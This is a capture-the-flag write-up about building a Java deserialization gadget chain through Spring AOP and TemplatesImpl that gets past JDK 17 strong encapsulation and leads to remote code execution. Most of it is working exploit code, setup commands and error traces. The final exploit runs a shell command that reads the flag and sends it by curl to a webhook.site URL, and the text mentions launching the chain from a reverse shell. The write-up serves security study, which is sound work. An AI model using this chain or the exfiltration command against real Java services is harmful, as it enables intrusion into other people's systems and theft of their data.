Some tools and libraries use reflection to access parts of the JDK that are meant for internal use only. This use of reflection negatively impacts the security and maintainability of the JDK. To aid migration, JDK 9 through JDK 16 allowed this reflection to continue, but emitted warnings about illegal reflective access. However, JDK 17 is strongly encapsulated, so this reflection is no longer permitted by default. Code that accesses non-public fields and methods of java.* APIs will throw an InaccessibleObjectException.

The TemplatesImpl gadget lives in com.sun.org.apache.xalan.internal.xsltc.trax, which is in java.xml module. Since the java.xml module does not export com.sun.org.apache.xalan.internal.xsltc.trax, the TemplatesImpl gadget remains inaccessible from reflective calls in external modules. Thus, it can no longer be used as the sink gadget in chains that end with reflective method invocation.

Modern write-ups suggest using JDBC gadgets as an alternate sink. However, this requires the application to import specific database libraries, such as the PostgreSQL JDBC Driver, which our challenge does not do.

Very recently, people have found methods to bypass strong encapsulation for TemplatesImpl, publishing blog posts in late August (just one month before this CTF went live!). These bypasses will come in useful for the final gadget chain; we’ll save our discussion of these methods for the next section.

Solution

After an absurd amount of Googling, we find a recent blogpost from Ape1ron detailing a novel Spring-AOP chain utilizing AbstractAspectJAdvice. Helpfully, they also have a Github repository with the PoC. Here is a diagram of the gadget chain from their blog.

Credit: 银针安全/Ape1ron

Immediately, we see a few familiar gadgets – BadAttributeValueExpException and Proxy. At a high-level, the chain uses the BadAttributeValueExpException sink to trigger a toString() call on a Proxy object. The Proxy object has a JdkDynamicAopProxy as its InvocationHandler. This triggers the rest of the chain (I won’t re-explain the entire gadget chain as the author’s write-up does a good job of doing that), and ends up with a reflective method invocation without the ability to pass arguments.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public abstract class AbstractAspectJAdvice implements Advice, AspectJPrecedenceInformation, Serializable {
    protected transient Method aspectJAdviceMethod;

    protected @Nullable Object invokeAdviceMethodWithGivenArgs(@Nullable Object[] args) throws Throwable {
        @Nullable Object[] actualArgs = args;
        if (this.aspectJAdviceMethod.getParameterCount() == 0) {
            actualArgs = null;
        }
        Object aspectInstance = this.aspectInstanceFactory.getAspectInstance();
        if (aspectInstance.equals(null)) {
            // Possibly a NullBean -> simply proceed if necessary.
            if (getJoinPoint() instanceof ProceedingJoinPoint pjp) {
                return pjp.proceed();
            }
            return null;
        }
        try {
            ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);
            return this.aspectJAdviceMethod.invoke(aspectInstance, actualArgs);
        }
        // ...
    }
The sink is the AbstractAspectJAdvice class, where there is a reflective method invocation on the controllable aspectJAdviceMethod.

While it is not included in the diagram, their Github PoC utilizes TemplatesImpl as the sink gadget for RCE, which is perfect for this use case.

Here is my setup for running the PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1. docker run --rm -it maven:3.9.8-eclipse-temurin-11 /bin/bash
2. apt update && apt install vim -y
3. git clone https://github.com/Ape1ron/SpringAopInDeserializationDemo1.git
4. Add to pom.xml: (before project closing tag)
<build>
  <plugins>
    <plugin>
      <groupId>org.apache.maven.plugins</groupId>
      <artifactId>maven-jar-plugin</artifactId>
      <version>3.3.0</version>
      <configuration>
        <archive>
          <manifest>
            <mainClass>SpringAOP1</mainClass>
          </manifest>
        </archive>
      </configuration>
    </plugin>
  </plugins>
</build>
5. Modify the RCE command: vim src/main/java/Util.java
6. mvn clean package
7. mvn dependency:copy-dependencies
8. java -cp "target/SpringAOP1-1.0-SNAPSHOT.jar:target/dependency/*" SpringAOP1

In step 5, we replace the default calc command with touch /tmp/pwned.txt. Running the application and checking /tmp, we see that the command was successfully executed.

Next, let’s port the exploit to JDK 17. We can reuse the setup above, but swap out the Docker image for maven:3.9.8-eclipse-temurin-17. Next, let’s modify the application so that it performs the serialization and deserialization separately.

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws Throwable {
   String path = "/tmp/aop1.ser";
   if (args.length >= 1 && args[0].equals("deser")) {
    Util.readObj4File(path);
   } else {
    SpringAOP1 aop1 = new SpringAOP1();
    Object object = aop1.getObject(Util.getDefaultTestCmd());
    Util.writeObj2File(object,path);
   }
}

Now, we can try running the program to serialize the object. We are greeted with this error:

1
2
3
4
5
6
Exception in thread "main" java.lang.IllegalAccessError: class TemplatesImplNode (in unnamed module @0x56f221e0) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x56f221e0
    at TemplatesImplNode.createTemplatesImpl(TemplatesImplNode.java:47)
    at TemplatesImplNode.makeGadget(TemplatesImplNode.java:35)
    at SpringAOP1.getAspectJAroundAdvice(SpringAOP1.java:93)
    at SpringAOP1.getObject(SpringAOP1.java:38)
    at SpringAOP1.main(SpringAOP1.java:29)

This is precisely because of the JDK 17+ strong encapsulation enforcement discussed earlier. We can get around this error by passing in the flags:

1
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED

The --add-opens flag exposes specific modules to the target modules. The above flags expose the required internal modules to all unnamed modules. This allows us to successfully run the serialization command, writing the serialized object to /tmp/aop1.ser.

These flags are a runtime bypass. Applications, like the challenge server, that run without these flags will still be unable to access these modules. Thus, to ensure that our setup matches the challenge setup, we should run the deserialization command without these flags.

It may seem confusing as to why we should use different flags for serialization and deserialization. During serialization, we are actively constructing the malicious gadget chain. This requires reflective access to private fields that is only possible with the additional flags. When the serialized object is passed to the server, the payload already contains the internal state that we built during serialization. So, the deserialization command does not need the same privileges. This is not to say that strong encapsulation is not enforced in deserialization, and we will still have to bypass that later.

We can now run the serialization and deserialization with the command:

1
mvn package && java -cp "target/SpringAOP1-1.0-SNAPSHOT.jar:target/dependency/*" --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED SpringAOP1 ser && java -cp "target/SpringAOP1-1.0-SNAPSHOT.jar:target/dependency/*" SpringAOP1 deser

Fixing BadAttributeValueExpException

Running the program now will emit the following error:

1
2
3
4
5
6
7
8
9
Exception in thread "main" java.lang.IllegalArgumentException: Can not set java.lang.String field javax.management.BadAttributeValueExpException.val to jdk.proxy1.$Proxy1
    at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
    at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
    at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)
    at java.base/java.lang.reflect.Field.set(Field.java:799)
    at Reflections.setFieldValue(Reflections.java:43)
    at BadAttrValExeNode.makeGadget(BadAttrValExeNode.java:8)
    at SpringAOP1.getObject(SpringAOP1.java:51)
    at SpringAOP1.main(SpringAOP1.java:29)

The gadget chain uses BadAttributeValueExpException to trigger a toString() call on a proxy. However, recall that this method has been patched in JDK 17+. So, we must find a different sink. Let’s look at how exactly the InvocationHandler object handles the toString() call.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
    // ...
    @Override
    public @Nullable Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object oldProxy = null;
        boolean setProxyContext = false;

        TargetSource targetSource = this.advised.targetSource;
        Object target = null;

        try {
            // [1]
            if (!this.cache.equalsDefined && AopUtils.isEqualsMethod(method)) {
                return equals(args[0]);
            }
            // [2]
            else if (!this.cache.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
                return hashCode();
            }
            else if (method.getDeclaringClass() == DecoratingProxy.class) {
                return AopProxyUtils.ultimateTargetClass(this.advised);
            }
            else if (!this.advised.isOpaque() && method.getDeclaringClass().isInterface() &&
                    method.getDeclaringClass().isAssignableFrom(Advised.class)) {
                return AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
            }

            Object retVal;

            if (this.advised.isExposeProxy()) {
                oldProxy = AopContext.setCurrentProxy(proxy);
                setProxyContext = true;
            }

            target = targetSource.getTarget();
            Class<?> targetClass = (target != null ? target.getClass() : null);

            List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

            if (chain.isEmpty()) {
                @Nullable Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
                retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
            }
            else {
                // We need to create a method invocation...
                MethodInvocation invocation =
                        new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
                // Proceed to the joinpoint through the interceptor chain.
                // [3]: This is what we want to call
                retVal = invocation.proceed();
            }

// ...

The invoke() method first checks that if the method called is equals() ([1]) or hashCode() ([2]), calling a custom implementation if so. If the method called is not either of those functions, we reach the invocation at [3], which is the next gadget.

So, the toString() call from BadAttributeValueExpException simply fails the first few checks and proceeds to the next gadget in the chain. Unfortunately, there aren’t any other toString() gadgets accessible in this challenge. However, we don’t actually need a toString() call – any method call (except equals() and hashCode()) will do.

There are many ways to achieve this, but I utilized the PriorityQueue idea introduced earlier. When deserialized, the PriorityQueue will call Comparator::compare() on the Comparator object it contains. Instead of supplying a BeanComparator, we can supply a Proxy that implements the Comparator class instead. Then, when the PriorityQueue calls compare(), the method call will be forwarded to the JdkDynamicAopProxy. Because the call is neither equals() nor hashCode(), it will follow the same code path as the toString() call, triggering the next gadget.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object getObject (String cmd) throws Throwable {
    // ...
    // Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);

    // Object badAttrValExe = BadAttrValExeNode.makeGadget(proxy2);
    // return badAttrValExe;
    
    Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Comparator.class);
    PriorityQueue<Object> pq = new PriorityQueue<>(2, (Comparator<Object>)proxy2);
    // Don’t trigger locally: directly set internal state so heapify happens only on deserialize
    Object[] q = new Object[] { 1, 1 };             // two dummies; values don’t matter
    Reflections.setFieldValue(pq, "size", 2);
    Reflections.setFieldValue(pq, "queue", q);
    return pq;
}

If the equals() and hashCode() calls weren’t short-circuited, there are much simpler ways to replace the toString() call. For instance, we can use a HashMap.

Fixing TemplatesImpl

After switching to the PriorityQueue gadget, the application now produces a different error:

1
2
3
4
5
6
7
Exception in thread "main" java.lang.reflect.UndeclaredThrowableException
...
Caused by: java.lang.IllegalAccessException: class org.springframework.aop.aspectj.AbstractAspectJAdvice cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @56f221e0
    at java.base/jdk.internal.reflect.Reflection.newIllegalAccessException(Reflection.java:392)
    at java.base/java.lang.reflect.AccessibleObject.checkAccess(AccessibleObject.java:674)
    at java.base/java.lang.reflect.Method.invoke(Method.java:561)
    at org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs(AbstractAspectJAdvice.java:634)

This error happens due to the enforcement of strong encapsulation. As expected, if we look at the exception trace, we see that it originates from the Method.invoke() call-site. Currently, the PoC constructs the gadgets like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
    Object templatesImpl = TemplatesImplNode.makeGadget(cmd);       // [1]

    SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
    AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
    Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
    Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", TemplatesImpl.class);      // [2]
    Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
    Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);

    AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
    Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
    Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
    Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
    return aspectJAroundAdvice;
}

The templatesImpl sink gadget is created at [1]. At [2], the declaringClass field is set to the TemplatesImpl class. Subsequently, JdkDynamicAopProxy knows to look for the specified method name (“newTransformer”) in the supplied declaringClass and finds the corrects the method. It then invokes that method on the underlying object, which is the templatesImpl gadget we create.

The error arises from the invocation. The method found by JdkDynamicAopProxy is TemplatesImpl::newTransformer(), which is not publicly exported. Hence, the reflective invocation is blocked by strong encapsulation enforcement.

As mentioned earlier, people have found ways to get around the module visibility issue. The easiest way is to wrap the templatesImpl object in a proxy. Consider the following patches:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
    Object tmp = TemplatesImplNode.makeGadget(cmd);  // CHANGED
    InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(tmp);  // CHANGED
    Object templatesImpl = Proxy.makeGadget(jdkDynamicAopProxy1, Templates.class);  // CHANGED

    SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
    AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
    Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
    Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", Templates.class);  // CHANGED
    Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
    Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);

    AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
    Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
    Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
    Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
    return aspectJAroundAdvice;
}

Instead of passing the templatesImpl directly to the Advisor, we first wrap it in a proxy that implements the Templates interface. This is a public interface that defines methods like newTransformer() – the TemplatesImpl class actually implements this interface. Here, we aren’t utilizing any special behaviour of the InvocationHandler, but merely using the proxy functionality.

Since we modified the declaringClass to Templates, JdkDynamicAopProxy looks for the “newTransformer” method in the publicly exported Templates instead of the private TemplatesImpl. Subsequently, it invokes Templates::newTransformer() on the underlying object, which is the proxy we created. The invocation does not throw an error because the Templates class is publicly accessible. Since our proxy is a surrogate, the ::newTransformer() call is forwarded to the real object, the TemplatesImpl sink. Because TemplatesImpl implements the Templates interface, the method invocation succeeds and the private TemplatesImpl::newTransformer() is called instead.

Many blog posts talk about using the Unsafe class to solve this error. Maybe I have a wrong understanding, but I’m not sure how the module modifications made at serialization time will persist through to deserialization…

Running the exploit now, fingers crossed … and a new error!

1
2
3
4
5
6
7
8
9
10
11
12
Exception in thread "main" java.lang.reflect.UndeclaredThrowableException
...
Caused by: javax.xml.transform.TransformerConfigurationException: Translet class loaded, but unable to create translet instance.
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:540)
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:554)
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:587)
...
Caused by: java.lang.IllegalAccessError: superclass access check failed: class ysoserial.Pwner2238671961883109 (in unnamed module @0x366e2eef) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x366e2eef
    at java.base/java.lang.ClassLoader.defineClass1(Native Method)
    at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1017)
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:207)
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:517)

The PoC actually uses the same code as ysoserial for creating the TemplatesImpl gadget. Let’s first understand this traditional method. Recall that the TemplatesImpl code flow goes through getTransletInstance()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private Class<?>[] _class = null;
private int _transletIndex = -1;

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet)
                _class[_transletIndex].getConstructor().newInstance();
        // ...
}

It is that last line that gives us arbitrary code execution. So, we must control _class and _transletIndex. Let’s look at defineTransletClasses():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void defineTransletClasses()
    throws TransformerConfigurationException {
    // ...
    try {
        final int classCount = _bytecodes.length;
        _class = new Class<?>[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }
        
        // ...
        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i], pd);     // [1]
            final Class<?> superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  // [2]
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString(), e);
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString(), e);
    }
}

At [1], the class is defined based on the user-supplied bytecode. At [2], it checks if the class’s superclass is ABSTRACT_TRANSLET, i.e. whether it inherits from the AbstractTranslet class. If so, it defines the _transletIndex. When this call returns to getTransletInstance(), __transletIndex will be properly set up and will trigger our arbitrary code execution.

For this traditional method to work, the newly-defined class to inherit from AbstractTranslet. This is not an issue is older JDKs, but with enforced strong encapsulation in JDK 17+, the superclass access check will fail for the private AbstractTranslet class.

1
Caused by: java.lang.IllegalAccessError: superclass access check failed: class ysoserial.Pwnedd2239137032061264 (in unnamed module @0x366e2eef) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x366e2eef
The error message from earlier

The modern method to solve this problem is to specify _transletIndex directly. Since it is not a transient variable, this is possible. This Whoopsunix write-up does a fantastic job of explaining the intricacies. Here is the modified TemplatesImpl gadget creation code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class TemplatesImplNode {
    public static byte[] getTemplateCode(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        String block = "Runtime.getRuntime().exec(\"" + cmd + "\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }

    public static Object makeGadget(String cmd) throws Exception {
        byte[] code1 = getTemplateCode(cmd);
        byte[] code2 = ClassPool.getDefault().makeClass("something").toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_name", "xxx");
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        Reflections.setFieldValue(templates,"_transletIndex",0);
        return templates;
    }
}

Finally, the exploit works!

1
2
# ls /tmp/
aop1.ser  hsperfdata_root  pwned.txt

This write-up was released just one month before the CTF and provides a good explanation of how to deal with both JVM errors. However, write-ups on this problem have existed before them, albeit less organized. The challenge author, amon, told me that the intended solution was to adapt the original chain to give a one-argument reflective method call, and not these bypass methods. I think that would have taken me an even longer time to figure out.

Piecing it together

The challenge server uses newer versions of Spring than the PoC. Because Java de/serialization is version specific, we have to upgrade the PoC’s dependencies to match the challenge’s. In fact, the challenge’s Spring version is only supported on JDK 17+, so annoyingly we can’t test it on JDK 11.

Next, recall that the server serializes the Token object using Kryo.

1
2
3
4
5
6
public class Token {

    private String scope;
    private UUID magic;
    private HashMap<String, Object> properties;
    // ...

It falls back to the default Java serializer only for a few collections types, with one of them being Collections.unmodifiableMap. We can insert a properties value that is a Collections.unmodifiableMap object, and add our gadget chain as a key in that unmodifiableMap. When Kryo deserializes properties, it falls back to default Java deserialization for the unmodifiableMap, which includes its keys, triggering deserialization of our gadget chain.

Finally, we can launch this attack from the reverse shell we obtained in Part 2.

I learnt a lot from this challenge. Objectively speaking, it isn’t the most technically difficult challenge. However, because this is a new topic for me, just finding the relevant resources took a lot of time. It did not help that most of the resources were in Chinese and poorly indexed by Google. After a while, I actually switched to Baidu, which was where I found the Ape1ron gadget chain.

One interesting way of finding that gadget chain is through OSINT. The author leaves the URL of his personal blog in the pom.xml file. Checking his Github stars reveals a bunch of repositories related to Java deserialization attacks, including the Ape1ron chain. Unfortunately, I only discovered this after finding the chain myself and looking at its Github stars… Anyway, this wouldn’t have been the first time OSINT was useful in TISC

Exploit (based on Ape1ron repo):

Hide/show code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// SpringAOP1.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.DefaultIntroductionAdvisor;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.HashMap;
import java.util.PriorityQueue;
import java.util.Comparator;

import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

import sun.reflect.ReflectionFactory;

import org.springframework.aop.target.HotSwappableTargetSource;
import java.lang.reflect.*;
import javax.xml.transform.Templates;
import java.util.*;


public class SpringAOP1 {
    public static void main(String[] args) throws Throwable {
        SpringAOP1 aop1 = new SpringAOP1();
        Object object = aop1.getObject("new String[]{\"/bin/sh\", \"-c\", \"/read_eye_flag > /tmp/log.txt; curl https://webhook.site/aeb56f6f-d1c7-47dd-b27f-38f01af44959?p=1 -F file=@/tmp/log.txt; rm /tmp/log.txt\"}");

        Token token = new Token();
        token.setScope("web");
        token.setMagic(java.util.UUID.fromString("123e4567-e89b-12d3-a456-426614174000"));
        token.setProperty("pwn", "hiya!");

        Map<Object,Object> inner = new HashMap<>();
        inner.put(object, "x");
        Map<Object,Object> unmodifiable = Collections.unmodifiableMap(inner);
        token.setProperty("malicious", unmodifiable);

        String bd = Token.TokenUtils.serializeToBase64(token);
        System.out.println(bd);
    }

    public Object getObject (String cmd) throws Throwable {
        AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
        InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice);
        Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);
        Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1);
        List<Advisor> advisors = new ArrayList<>();
        advisors.add(advisor);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        Reflections.setFieldValue(advisedSupport,"advisors",advisors);
        DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();
        Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);
        InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
    
        Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Comparator.class);
    PriorityQueue<Object> pq = new PriorityQueue<>(2, (Comparator<Object>)proxy2);
    // Don’t trigger locally: directly set internal state so heapify happens only on deserialize
    Object[] q = new Object[] { 1, 1 };             // two dummies; values don’t matter
    Reflections.setFieldValue(pq, "size", 2);
    Reflections.setFieldValue(pq, "queue", q);
    return pq;
    }

        public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }

    public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
        Object tmp = TemplatesImplNode.makeGadget(cmd);
        InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(tmp);
        Object templatesImpl = Proxy.makeGadget(jdkDynamicAopProxy1, Templates.class);

        SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
        AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
        Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
        Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", Templates.class);
        Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
        Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);

        AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
        Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
        Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
        Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
        return aspectJAroundAdvice;
    }

}

Flag: TISC{5c1enc3_c0mp3ls_u5_t0_bl0w_up_th3_5uN_a5db3063b77085f08d777c080de80c02}

For more recent gadget chains, I recommend checking these two repos: PPPYSO and CTF-Java-Gadget